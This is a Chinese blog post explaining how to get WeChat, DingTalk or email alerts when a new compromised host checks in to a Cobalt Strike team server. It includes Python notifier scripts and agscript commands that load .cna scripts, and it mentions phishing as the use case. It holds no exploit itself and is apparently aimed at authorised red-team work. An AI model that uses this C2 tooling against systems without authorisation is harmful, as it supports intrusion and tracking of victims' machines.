前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Cobalt Strike的多种上线提醒方法

Cobalt Strike的多种上线提醒方法

作者头像
乌鸦安全
发布2022-01-04 16:36:36
1.2K0
发布2022-01-04 16:36:36
举报
文章被收录于专栏:乌鸦安全

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

01背 景 介 绍

1. 背景介绍

在攻防的时候,尤其在钓鱼时,常常需要对Cobalt Strike设置上线提醒,本文将从单用户提醒到多用户提醒,微信提醒到邮件提醒等进行描述。本文代码已经放到我的GitHub上:https://github.com/crow821/crowsec

如果师傅有需要的话,可以自行修改下即可使用。(文中部分代码参考https://github.com/lintstar/CS-PushPlus

以前大部分都是使用server酱进行上线提醒,但是现在server酱免费版每日只能提醒5次,其余的都需要收费,所以这里以pushplus示例,目前Pushplus的日发送频率最大额为200次,基本满足日常攻防使用。

02微信单人提醒

http://www.pushplus.plus/push1.html上扫码登录,会生成一个token:

https://github.com/lintstar/CS-PushPlus里下载两个文件:PushPlus.cnaPushPlus.py

PushPlus.py中将你刚刚的token进行替换:

content 部分的信息可以自定义修改,修改完成之后,可以在本地使用python3进行测试:

运行之后,微信收到通知:

测试成功之后,将文件传到服务器上,并且对 PushPlus.cna文件进行配置:

其中红色部分为你当前文件的路径:

在配置完Cobalt Strike之后,可以用命令启动该脚本将其挂载到后台,注意你运行的路径

nohup sudo ./agscript Cobalt_Strikeip 端口 用户 密码 CS-PushPlus-main/PushPlus.cna > PushPlus.log 2>&1 &

代码语言:javascript
复制
Agscript 用法
这里 agscript 的用法为:
 ./agscript [host] [port] [user] [pass] </path/to/file.cna> 
● [host] # 服务器的 ip 地址。
● [port] # cs 的端口号,启动 cs 时有显示。
● [user] # 后台挂载脚本时连接到 teamserver 的用户名。
● [pass] # 启动服务端 cs 时设置的密码。
● [path] # cna 文件的路径。

运行成功之后,可以使用ps -aux | grep agscript 查看当前进程:

当有新主机上线时,在微信中会收到提醒:

03设置微信多人提醒

Cobalt Strike的优点就是支持多人同时进行操作,因此在攻防中,可以对一台Cobalt Strike配置多人提醒,当有机器上线时,可以同时通知所有人,Pushplus目前也支持这种:

http://www.pushplus.plus/push2.html记录自己的token

新增一个群组:

在这里需要记住你的群组编号,按照Pushplus的官方文档,当前群组与单人提醒不同的地方在于传参的时候增加了一个"topic"参数。这里需要配置的信息如下:"topic":"test1221",

当前文件名称: Pushplus_many.py

配置完成之后,把上面新建的群组二维码发给其他人扫一扫加进来:

扫描完成之后,pushplus公众号会回复自定义设置的关键信息,代表加入成功。

此时在创建的群组里也可以查看到当前加入的订阅人,在这里需要注意:群组即使是你创建的,你也需要扫码加入才可以。

配置完成之后,在本地可以测试下:

此时群组内用户都收到了消息:

本地测试成功之后,将文件放到云服务器上使用同样的方式进行部署即可!

04钉钉群上线提醒

钉钉群和上述的方法基本相同,首先需要在钉钉中拉群一个群聊,并添加一个机器人:

点击自定义:

选择添加即可获得一个Webhook地址:https://oapi.dingtalk.com/robot/send?access_token=1234567fdasfdasfsf8

Pushplus公众号中,找到个人中心,并在渠道配置中进行配置:

选择Webhook,填写相关信息:

确认之后,在脚本里面进行修改:"channel":"webhook", "webhook":"1221"

在这里确认你的Webhook地址信息,修改完成之后,在本地可以运行:

然后在钉钉群组就收到消息了:

本次测试成功之后,直接将脚本部署到云服务器上即可,方法参考第二节。

05邮 件 提 醒

Pushplus中,还提供了邮件提醒,配置的步骤上来讲,比较简单,在Pushplus中选择个人资料,绑定自己的邮箱:

确认之后,Pushplus会发送一封邮件进行验证:

点击之后,验证成功。

然后在原来的代码上进行修改:只需修改"channel":"mail"即可!

然后在本地使用python3进行验证:

此时邮箱接收到了消息:

后续配置到服务器即可,详情可参考第2节。

06注意事项

在使用Pushplus推送的流程中,还有一个比较重要的问题:如果短时间内有多个相同主机上线,Pushplus会默认不发送重复数据内容,而且对发送频率也有要求:

一般来说,短时间大量主机上线的概率不是很高,所以在上面的两个问题中,要优先解决短时间不默认发送重复数据内容,因此在以前的代码中,可以加入随机数或者时间戳,在这里以加入时间戳为例:

收到的提醒:

07隐蔽的邮件提醒

在上述的2-5节中,都需要使用第三方服务进行推送,这里面有一些缺点:比如扫码关注、绑定邮箱、发送次数限制等等,可能对不想泄露隐私的师傅,不太愿意这样搞,因此我们也可以自己配置邮件服务,自己给自己设置上线提醒:

7.1 python发送邮件

下面是一个简单的python发送邮件的demo,在这里需要自行配置发件人的邮箱,发件人的邮箱授权码,接收人邮箱等。(这部分内容可以百度到)

代码语言:javascript
复制
# -*- encoding: utf-8 -*-
# Time : 2021/12/21 21:01:21
# Author: crow


#1. 发送文本文件

import smtplib

from email.mime.text import MIMEText
from email.header import Header

# print('donw')
sender = '123876@qq.com' #发件人邮箱
receiver = '1237@qq.com' #收件人邮箱
mail_pass = 'cwxdebc' #qq邮箱授权码

#text为邮件正文内容,plain为文本格式,'utf-8'为编码格式
text = '您有新主机上线。。。'
message = MIMEText(text, 'plain', 'utf-8')

#添加Header信息,From,To,Subject分别为发送者信息,接收者消息和邮件主题
message['From'] = Header(sender, 'utf-8')
message['To'] = Header(receiver, 'utf-8')

subject = 'Python STMP 邮件发送测试'
message['Subject'] = Header(subject, 'utf-8')


try:
    #smtp.xxx.com为邮箱服务类型,25为STMP的端口
    smtpObj = smtplib.SMTP('smtp.qq.com', 25)#smtp.xxx.com为邮箱服务类型,25为STMP
    #smtpObj = smtplib.SMTP_SSL('smtp.xxx.com', 'xxx邮件服务的端口号')     

    smtpObj.login(sender, mail_pass)#登录
    smtpObj.sendmail(sender, receiver, message.as_string())#发送
    print ("邮件发送成功")
except smtplib.SMTPException as e:
    print(e)
    print ("Error: 邮件发送失败")

使用python3进行发送:

此时接收成功:

所以我们可以稍微将代码修改下,变成一个完整的上线提醒:

代码语言:javascript
复制
# -*- encoding: utf-8 -*-
# Time : 2021/12/21 21:07:19
# Author: crow

import argparse
import requests
import random
import string
import json
import time
import smtplib
from email.mime.text import MIMEText
from email.header import Header


parser = argparse.ArgumentParser(description='Beacon Info')
parser.add_argument('--computername')
parser.add_argument('--internalip')
parser.add_argument('--username')
args = parser.parse_args()

internalip = args.internalip
computername = args.computername
username = args.username
ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 8))
t_time = time.ctime()

content = """

您有霉国-2新主机上线啦

主机名: {}
IP: {}
用户名: {}
Token: {}
上线时间:{}
请注意查收哦~
""".format(internalip, computername, username, ran_str, t_time)



#1. 发送文本文件

sender = '123876@qq.com' #发件人邮箱
receiver = '1237@qq.com' #收件人邮箱
mail_pass = 'cwxdebc' #qq邮箱授权码

#text为邮件正文内容,plain为文本格式,'utf-8'为编码格式
# text = '您有新主机上线。。。'
# content
message = MIMEText(content, 'plain', 'utf-8')

#添加Header信息,From,To,Subject分别为发送者信息,接收者消息和邮件主题
message['From'] = Header(sender, 'utf-8')
message['To'] = Header(receiver, 'utf-8')

subject = 'Cobalt Strike上线提醒'
message['Subject'] = Header(subject, 'utf-8')


try:
    #smtp.xxx.com为邮箱服务类型,25为STMP的端口
    smtpObj = smtplib.SMTP('smtp.qq.com', 25)#smtp.xxx.com为邮箱服务类型,25为STMP
    #smtpObj = smtplib.SMTP_SSL('smtp.xxx.com', 'xxx邮件服务的端口号')     

    smtpObj.login(sender, mail_pass)#登录
    smtpObj.sendmail(sender, receiver, message.as_string())#发送
    print ("邮件发送成功")
except smtplib.SMTPException as e:
    print(e)
    print ("Error: 邮件发送失败")

此时接到的信息如下:

虽然丑了点,但:又不是不能用

7.2 邮件提醒

修改一个cna文件,测试下:

sudo ./agscript 192.168.22.104 12345 crow 111223 CS-PushPlus-main/ Send_email.cna 加载成功之后,这里会显示已加入:

生成exe文件,运行下,测试上线,上线之后,在这里看到记录:

同时也收到了邮件:

08总 结

在以上的方法中,主要讨论了利用第三方推送Pushplus进行微信单人、群组;钉钉群组;第三方邮件提醒方法,当然在Pushplus中还有其他的提醒方式,这种方式推送方式较多,但是缺点就是容易暴露个人信息。所以在本文提出了使用更加隐蔽的邮件提醒方法,优点就是不会暴露私人信息,缺点就是只能使用邮件提醒,而且需要使用两个邮箱账号。

以上方法仅供参考,相关代码后续我会完善之后,放到我的GitHub上:

https://github.com/crow821/crowsec

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-12-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1. 背景介绍
    • 7.1 python发送邮件
      • 7.2 邮件提醒
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档